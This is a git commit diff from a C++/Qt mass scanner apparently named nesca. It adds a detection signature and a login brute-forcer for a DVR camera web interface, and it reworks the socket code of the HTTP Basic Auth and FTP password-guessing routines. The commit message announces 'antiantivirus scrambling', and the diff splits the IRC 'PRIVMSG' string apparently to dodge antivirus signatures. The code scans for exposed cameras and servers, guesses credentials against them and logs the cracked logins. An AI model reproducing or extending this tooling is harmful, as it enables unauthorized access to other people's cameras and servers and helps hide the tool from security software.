mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-12-26 09:21:47 +00:00
sjnpgadgf + antiantivirus scrambling.
This commit is contained in:
parent
4b965e5976
commit
b9adb70cef
@ -46,7 +46,6 @@ void CheckProxyLogic()
|
||||
else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
setsockopt(pSock, SOL_SOCKET, SO_REUSEADDR, (char*)&yes, sizeof(int));
|
||||
|
||||
if(pSock == INVALID_SOCKET)
|
||||
{
|
||||
@ -117,7 +116,7 @@ void CheckProxyLogic()
|
||||
else
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
chPTh->doEmitChangeRedIRCData("[Fail] " + QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one.");
|
||||
chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one.");
|
||||
#pragma endregion
|
||||
proxyEnabledFlag = 0;
|
||||
|
||||
@ -130,7 +129,7 @@ void CheckProxyLogic()
|
||||
else
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
chPTh->doEmitChangeRedIRCData("[Fail] " + QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one.");
|
||||
chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one.");
|
||||
#pragma endregion
|
||||
proxyEnabledFlag = 0;
|
||||
|
||||
@ -142,7 +141,7 @@ void CheckProxyLogic()
|
||||
else
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
chPTh->doEmitChangeRedIRCData("[Fail] Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + ".");
|
||||
chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + ".");
|
||||
#pragma endregion
|
||||
proxyEnabledFlag = 0;
|
||||
};
|
||||
|
1
ClassDiagram1.cd
Normal file
1
ClassDiagram1.cd
Normal file
@ -0,0 +1 @@
|
||||
|
244
connector.cpp
244
connector.cpp
@ -161,12 +161,12 @@ int OpenConnection(SOCKET *sock, const char *hostname, int port)
|
||||
struct sockaddr_in addr;
|
||||
if(strlen(hostname) == 0)
|
||||
{
|
||||
if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(hostname) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(hostname) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _connection: Bad IP.");
|
||||
stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(hostname) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(hostname) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _connection: Bad IP.");
|
||||
return -1;
|
||||
};
|
||||
if(port < 0 || port > 65535)
|
||||
{
|
||||
if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(hostname) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(hostname) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _connection: Bad port.");
|
||||
stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(hostname) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(hostname) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _connection: Bad port.");
|
||||
return -1;
|
||||
};
|
||||
|
||||
@ -411,7 +411,6 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
|
||||
strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n");
|
||||
|
||||
sockaddr_in sockAddr;
|
||||
SOCKET sock;
|
||||
#pragma region VerifyBASSL
|
||||
if(port == 443)
|
||||
{
|
||||
@ -422,6 +421,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
|
||||
else
|
||||
#pragma region VerifyBA
|
||||
{
|
||||
SOCKET sock;
|
||||
sockAddr.sin_family = AF_INET;
|
||||
sockAddr.sin_port = htons(port);
|
||||
HOSTENT *host;
|
||||
@ -445,26 +445,40 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
|
||||
};
|
||||
#endif
|
||||
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
if(sock != INVALID_SOCKET) {
|
||||
|
||||
send(sock, hRqst, strlen(hRqst), 0);
|
||||
if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst));
|
||||
ZeroMemory(headerMsg, REQUEST_MAX_SIZE);
|
||||
int x = 1;
|
||||
int xx = 0;
|
||||
while(xx < 512)
|
||||
{
|
||||
x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO);
|
||||
if(x <= 0) break;
|
||||
strncat(headerMsg, hMsgR, x);
|
||||
xx += x;
|
||||
ZeroMemory(hMsgR, sizeof(hMsgR));
|
||||
if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) != SOCKET_ERROR) {
|
||||
|
||||
if(send(sock, hRqst, strlen(hRqst), 0) != SOCKET_ERROR) {
|
||||
|
||||
if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst));
|
||||
ZeroMemory(headerMsg, REQUEST_MAX_SIZE);
|
||||
int x = 1;
|
||||
int xx = 0;
|
||||
|
||||
while(xx < 512)
|
||||
{
|
||||
x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO);
|
||||
if(x <= 0) break;
|
||||
strncat(headerMsg, hMsgR, x);
|
||||
xx += x;
|
||||
ZeroMemory(hMsgR, sizeof(hMsgR));
|
||||
};
|
||||
|
||||
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg));
|
||||
} else {
|
||||
if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Send]: " + QString::number(WSAGetLastError()));
|
||||
};
|
||||
} else {
|
||||
if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Connect]: " + QString::number(WSAGetLastError()));
|
||||
};
|
||||
} else {
|
||||
if(gDebugMode) stt->doEmitionDebugFoundData("[BA: Invalid socket]: " + QString::number(WSAGetLastError()));
|
||||
};
|
||||
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg));
|
||||
CSSOCKET(sock);
|
||||
};
|
||||
#pragma endregion
|
||||
|
||||
CSSOCKET(sock);
|
||||
|
||||
if(strlen(headerMsg) == 0)
|
||||
{
|
||||
@ -473,6 +487,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
return lps;
|
||||
};
|
||||
|
||||
if(strstr(headerMsg, "401 ") == NULL
|
||||
&& strstr(headerMsg, ".1 401") == NULL
|
||||
&& strstr(headerMsg, ".0 401") == NULL
|
||||
@ -537,7 +552,6 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
|
||||
char curPass[256] = {0};
|
||||
int cCode;
|
||||
int cErrCode;
|
||||
int x = 1;
|
||||
int dataSz = 0;
|
||||
char request[REQUEST_MAX_SIZE] = {0};
|
||||
char recvBuff[4096] = {0};
|
||||
@ -656,19 +670,38 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
|
||||
else
|
||||
#pragma region BABSEQ-HTTP
|
||||
{
|
||||
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
|
||||
while(WSAGetLastError() == 10038)
|
||||
{
|
||||
if(gDebugMode) stt->doEmitionDebugFoundData("[BA] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]");
|
||||
CSSOCKET(sock);
|
||||
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
};
|
||||
if(cCode != SOCKET_ERROR)
|
||||
{
|
||||
x = 1;
|
||||
if(cCode == SOCKET_ERROR) {
|
||||
|
||||
int errorCode = WSAGetLastError();
|
||||
if(errorCode == 10038) {
|
||||
|
||||
while(errorCode == 10038)
|
||||
{
|
||||
if(gDebugMode) stt->doEmitionDebugFoundData("[BA][10038] - [" + QString(ip) + ":" + QString::number(port) + "]");
|
||||
CSSOCKET(sock);
|
||||
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
errorCode = WSAGetLastError();
|
||||
};
|
||||
} else {
|
||||
|
||||
CSSOCKET(sock);
|
||||
|
||||
if(errorCode != 10060)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]");
|
||||
};
|
||||
|
||||
isActive = 0;
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
return lps;
|
||||
};
|
||||
} else {
|
||||
|
||||
int x = 1;
|
||||
Activity += strlen(request);
|
||||
|
||||
if(send(sock, request, strlen(request), 0) != SOCKET_ERROR)
|
||||
@ -697,20 +730,6 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
return lps;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
int WSAErr = WSAGetLastError();
|
||||
if(WSAErr != 10060)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(WSAErr) + "]");
|
||||
};
|
||||
|
||||
CSSOCKET(sock);
|
||||
|
||||
isActive = 0;
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
return lps;
|
||||
};
|
||||
CSSOCKET(sock);
|
||||
};
|
||||
@ -856,8 +875,6 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
|
||||
ZeroMemory(lps.other, sizeof(lps.other));
|
||||
|
||||
char recvBuff[1024] = {0}, request[64] = {0};
|
||||
int connectionResult, closedSocket = 1, loginFailedFlag = 0;
|
||||
SOCKET sockFTP;
|
||||
sockaddr_in sockAddr;
|
||||
sockAddr.sin_family = AF_INET;
|
||||
sockAddr.sin_port = htons(port);
|
||||
@ -885,16 +902,20 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
|
||||
int passCounter = 1;
|
||||
int bTO;
|
||||
int x = 0;
|
||||
int connectionResult, closedSocket = 1, loginFailedFlag = 0;
|
||||
|
||||
SOCKET sockFTP;
|
||||
for(int i = 0; i < MaxLogin; ++i)
|
||||
{
|
||||
if(globalScanFlag == false) break;
|
||||
if(strlen(loginLst[i]) <= 1) continue;
|
||||
|
||||
for(int j = 0; j < MaxPass; ++j)
|
||||
{
|
||||
if(globalScanFlag == false) break;
|
||||
if(strlen(passLst[j]) <= 1) continue;
|
||||
if(closedSocket)
|
||||
|
||||
if(closedSocket)
|
||||
{
|
||||
closedSocket = 0;
|
||||
sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
@ -1002,7 +1023,6 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
|
||||
|| strstr(recvBuff, "from your IP") != NULL)
|
||||
{
|
||||
stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")");
|
||||
closedSocket = 1;
|
||||
if(j > 0) --j;
|
||||
ZeroMemory(recvBuff, sizeof(recvBuff));
|
||||
Sleep(30000);
|
||||
@ -1246,6 +1266,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
return lps;
|
||||
};
|
||||
|
||||
Sleep(100);
|
||||
|
||||
if(breakPassLoop)
|
||||
@ -1255,6 +1276,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
CSSOCKET(sockFTP);
|
||||
isActive = 0;
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
@ -1476,23 +1498,30 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
||||
};
|
||||
|
||||
int recvBuffSize = 0;
|
||||
int on = 1;
|
||||
linger.l_onoff = 0;
|
||||
linger.l_linger = 10;
|
||||
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on));
|
||||
linger.l_onoff = 1;
|
||||
linger.l_linger = 5;
|
||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger));
|
||||
|
||||
int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
//CSSOCKET(sock);
|
||||
//sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
//setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on));
|
||||
//int sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
// iError = WSAGetLastError();
|
||||
//sResult = send(sock, request, strlen(request), 0);
|
||||
//char r[128419];
|
||||
//recv(sock, r, 128419, 0);
|
||||
|
||||
while(sock == INVALID_SOCKET)
|
||||
{
|
||||
if(gDebugMode) stt->doEmitionDebugFoundData("[Invalid socket]: " + QString::number(WSAGetLastError()));
|
||||
CSSOCKET(sock);
|
||||
Sleep(100);
|
||||
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on));
|
||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger));
|
||||
iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
};
|
||||
|
||||
if(iResult == SOCKET_ERROR)
|
||||
{
|
||||
iError = WSAGetLastError();
|
||||
@ -1505,7 +1534,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
||||
timeval tv = { gTimeOut, 0 };
|
||||
|
||||
int oldErr = WSAGetLastError();
|
||||
iResult = select(sock + 1, &read_fs, NULL, NULL, &tv);
|
||||
iResult = select(sock + 1, NULL, &read_fs, NULL, &tv);
|
||||
|
||||
if (iResult == SOCKET_ERROR)
|
||||
{
|
||||
@ -1521,16 +1550,17 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
||||
else
|
||||
{
|
||||
int sResult = send(sock, request, strlen(request), 0);
|
||||
|
||||
while(sResult == SOCKET_ERROR)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[_EC]Resending: " + QString(ip) + " - " + QString::number(WSAGetLastError()));
|
||||
|
||||
CSSOCKET(sock);
|
||||
Sleep(100);
|
||||
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
if(sResult == SOCKET_ERROR) continue;
|
||||
sResult = send(sock, request, strlen(request), 0);
|
||||
};
|
||||
|
||||
if(sResult != SOCKET_ERROR)
|
||||
{
|
||||
if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request));
|
||||
@ -1563,11 +1593,43 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
||||
};
|
||||
strncat(recvBuff2, recvBuff, x);
|
||||
};
|
||||
|
||||
if(strstri(recvBuff2, "no request found") != NULL)
|
||||
{
|
||||
ZeroMemory(recvBuff2, RECV_MAX_SIZE);
|
||||
CSSOCKET(sock);
|
||||
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
send(sock, request, strlen(request), 0);
|
||||
x = 1;
|
||||
while (x > 0)
|
||||
{
|
||||
ZeroMemory(recvBuff, sizeof(recvBuff));
|
||||
x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut, &bTO);
|
||||
if(x <= 0) break;
|
||||
Activity += x;
|
||||
recvBuffSize += x;
|
||||
if( recvBuffSize > RECV_MAX_SIZE )
|
||||
{
|
||||
delete[] recvBuff2;
|
||||
recvBuff2 = NULL;
|
||||
|
||||
CSSOCKET(sock);
|
||||
++Overl;
|
||||
|
||||
CSTR->lowerBuff = new char[11];
|
||||
strcpy(CSTR->lowerBuff, "[OVERFLOW]");
|
||||
CSTR->size = 10;
|
||||
return 0;
|
||||
};
|
||||
strncat(recvBuff2, recvBuff, x);
|
||||
};
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
++offlines;
|
||||
stt->doEmitionRedFoundData("[_EC]Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError()));
|
||||
stt->doEmitionRedFoundData("[_EC] Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError()));
|
||||
};
|
||||
};
|
||||
};
|
||||
@ -1577,17 +1639,17 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
||||
++offlines;
|
||||
if(iError == 10055)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[SOCKERR 10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port));
|
||||
stt->doEmitionRedFoundData("[10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port));
|
||||
}
|
||||
else if(iError == 10049)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[ADDR_NOT_AVAIL] " + QString(ip) +
|
||||
stt->doEmitionRedFoundData("[10049] " + QString(ip) +
|
||||
":" + QString::number(port) +
|
||||
" - " + QString::number(iError));
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[Unpredictable error] " + QString(ip) +
|
||||
stt->doEmitionRedFoundData("[Unknown error] " + QString(ip) +
|
||||
":" + QString::number(port) +
|
||||
" - " + QString::number(iError));
|
||||
};
|
||||
@ -2129,25 +2191,28 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
|
||||
xx += x;
|
||||
Activity += x;
|
||||
};
|
||||
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2));
|
||||
|
||||
bool result = true;
|
||||
for(int i = 0; i < negVector.size(); ++i)
|
||||
{
|
||||
if(strstri(recvBuff2, negVector[i]) != NULL)
|
||||
if(strlen(recvBuff2) > 0) {
|
||||
bool result = true;
|
||||
for(int i = 0; i < negVector.size(); ++i)
|
||||
{
|
||||
result = false;
|
||||
break;
|
||||
if(strstri(recvBuff2, negVector[i]) != NULL)
|
||||
{
|
||||
result = false;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
if(result)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
return 1;
|
||||
};
|
||||
if(result)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
return 1;
|
||||
};
|
||||
}
|
||||
};
|
||||
};
|
||||
|
||||
@ -2208,6 +2273,13 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
|
||||
negVector.push_back("var check=\"0\"");
|
||||
negVector.push_back("var authLevel =\"0\";");
|
||||
}
|
||||
else if(strcmp(SPEC, "IEORFOREFOX") == 0)
|
||||
{
|
||||
negVector.push_back("AAA()");
|
||||
negVector.push_back("РРјСЏ или пароль неверные!");
|
||||
negVector.push_back("Возврат");
|
||||
negVector.push_back("HTTP/1.0 302 Found");
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
|
||||
@ -2386,6 +2458,32 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
|
||||
};
|
||||
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n");
|
||||
|
||||
}
|
||||
else if(strcmp(SPEC, "IEORFOREFOX") == 0)
|
||||
{
|
||||
strcpy(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: ");
|
||||
strcat(request, ip);
|
||||
if(port != 80){
|
||||
strcat(request, ":");
|
||||
char tbuff[16] = {0};
|
||||
strcat(request, itoa(port, tbuff, 10));
|
||||
};
|
||||
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive");
|
||||
int loginLength = strlen(login);
|
||||
int passLength = strlen(pass);
|
||||
int sz = loginLength + passLength + strlen("username=&userpwd=");
|
||||
char *passString = new char[sz + 1];
|
||||
ZeroMemory(passString, sizeof(passString));
|
||||
strcpy(passString, "username=");
|
||||
strcat(passString, login);
|
||||
strcat(passString, "&userpwd=");
|
||||
strcat(passString, pass);
|
||||
strcat(request, "\r\nContent-Length: ");
|
||||
char tempBuff[16] = {0};
|
||||
strcat(request, itoa(sz, tempBuff, 10));
|
||||
strcat(request, "\r\n\r\n");
|
||||
strcat(request, passString);
|
||||
delete []passString;
|
||||
};
|
||||
|
||||
int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector);
|
||||
|
42
finder.cpp
42
finder.cpp
@ -295,7 +295,9 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
|
||||
if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server
|
||||
if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL
|
||||
&& strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam
|
||||
|
||||
if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL
|
||||
&& strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX
|
||||
|
||||
if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL
|
||||
|| strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL
|
||||
|| strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL
|
||||
@ -375,7 +377,9 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
|
||||
if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server
|
||||
if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL
|
||||
&& strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam
|
||||
|
||||
if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL
|
||||
&& strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX
|
||||
|
||||
|
||||
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
|
||||
(strstr(buffcpy, "220 diskStation ftp server ready") != NULL) ||
|
||||
@ -830,17 +834,21 @@ void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login,
|
||||
|
||||
strcpy(log, "[BA]:");
|
||||
strcat(log, "<span id=\"hostSpan\"><a href=\"http://");
|
||||
strcat(log, login);
|
||||
strcat(log, ":");
|
||||
strcat(log, pass);
|
||||
strcat(log, "@");
|
||||
if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0) {
|
||||
strcat(log, login);
|
||||
strcat(log, ":");
|
||||
strcat(log, pass);
|
||||
strcat(log, "@");
|
||||
}
|
||||
strcat(log, ip);
|
||||
strcat(log, port);
|
||||
strcat(log, "\"><font color=MediumSeaGreen>");
|
||||
strcat(log, login);
|
||||
strcat(log, ":");
|
||||
strcat(log, pass);
|
||||
strcat(log, "@");
|
||||
if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0) {
|
||||
strcat(log, login);
|
||||
strcat(log, ":");
|
||||
strcat(log, pass);
|
||||
strcat(log, "@");
|
||||
}
|
||||
strcat(log, ip);
|
||||
strcat(log, port);
|
||||
strcat(log, "</font></a></span> T: <font color=GoldenRod>");
|
||||
@ -1765,6 +1773,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
else if(flag == 48) //ipCAM
|
||||
{
|
||||
_specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "[ipCAM] Camera", "Web Authorization", cp, recd, "IPCAM");
|
||||
}
|
||||
else if(flag == 49) //IEORFOREFOX
|
||||
{
|
||||
_specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "[IEORFOREFOX] Camera", "Web Authorization", cp, recd, "IEORFOREFOX");
|
||||
}
|
||||
else if(flag == 20) //AXIS Camera
|
||||
{
|
||||
@ -2338,12 +2350,18 @@ void _getPopupTitle(PathStr *ps, char *str)
|
||||
}
|
||||
else
|
||||
{
|
||||
strcat(ps->headr, "[BOUNDARY_ERROR]");
|
||||
strcat(ps->headr, "[BOUNDARY ERROR]");
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
strcat(ps->headr, "[BOUNDARY_ERROR]");
|
||||
char temp[32] = {0};
|
||||
if(strstr(str, "(") != NULL){
|
||||
strncpy(temp, strstr(str, "("), 32);
|
||||
strcat(ps->headr, temp);
|
||||
} else {
|
||||
strcat(ps->headr, "[No title]");
|
||||
};
|
||||
};
|
||||
|
||||
strcat(ps->headr, "]");
|
||||
|
11
nesca_3.cpp
11
nesca_3.cpp
@ -1639,7 +1639,8 @@ void nesca_3::SaySmthng()
|
||||
}
|
||||
else strf = ui->shoutBox->text();
|
||||
|
||||
strcpy(temp, "PRIVMSG #");
|
||||
strcpy(temp, "PRIV");
|
||||
strcat(temp, "MSG #");
|
||||
strcat(temp, IRC_CHAN);
|
||||
strcat(temp, " :");
|
||||
strcat(temp, "ACTION ");
|
||||
@ -1681,7 +1682,8 @@ void nesca_3::SaySmthng()
|
||||
}
|
||||
else strf = msgP;
|
||||
|
||||
strcpy(temp, "PRIVMSG ");
|
||||
strcpy(temp, "PRIV");
|
||||
strcat(temp, "MSG ");
|
||||
strcat(temp, nickP.toLocal8Bit().data());
|
||||
strcat(temp, " :");
|
||||
strcat(temp, strf.toLocal8Bit().data());
|
||||
@ -1731,7 +1733,8 @@ void nesca_3::SaySmthng()
|
||||
else strf = ui->shoutBox->text();
|
||||
if(IRCLogToggled)
|
||||
{
|
||||
strcpy(temp, "PRIVMSG #");
|
||||
strcpy(temp, "PRIV");
|
||||
strcat(temp, "MSG #");
|
||||
strcat(temp, IRC_CHAN);
|
||||
strcat(temp, " :");
|
||||
strcat(temp, strf.toLocal8Bit().data());
|
||||
@ -3699,7 +3702,7 @@ void nesca_3::appendDefaultText(QString str)
|
||||
};
|
||||
void nesca_3::appendErrText(QString str)
|
||||
{
|
||||
ui->dataText->append("<span style=\"color:red;background-color:#313131;\">[" + QTime::currentTime().toString() + "][FAIL] " + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>");
|
||||
ui->dataText->append("<span style=\"color:red;background-color:#313131;\">[" + QTime::currentTime().toString() + "]" + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>");
|
||||
|
||||
if(stt->isRunning() == false)
|
||||
{
|
||||
|
@ -400,7 +400,7 @@ void *_timer()
|
||||
strcpy(metaIPS, b);
|
||||
strcat(timeLeft, b);
|
||||
strcat(timeLeft, "/s (");
|
||||
|
||||
|
||||
if(ips > 0)
|
||||
{
|
||||
strncpy(dbuffer, std::to_string((long double)((gTargets + 1)/ips/3600/24)).c_str(), 5);
|
||||
@ -410,10 +410,10 @@ void *_timer()
|
||||
strcat(dbuffer, "d)");
|
||||
strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer));
|
||||
|
||||
#pragma region QTGUI_Area
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionIPS(QString(timeLeft));
|
||||
stt->doEmitionOffline(QString::number(offlines));
|
||||
#pragma endregion
|
||||
#pragma endregion
|
||||
ZeroMemory(timeLeft, sizeof(timeLeft));
|
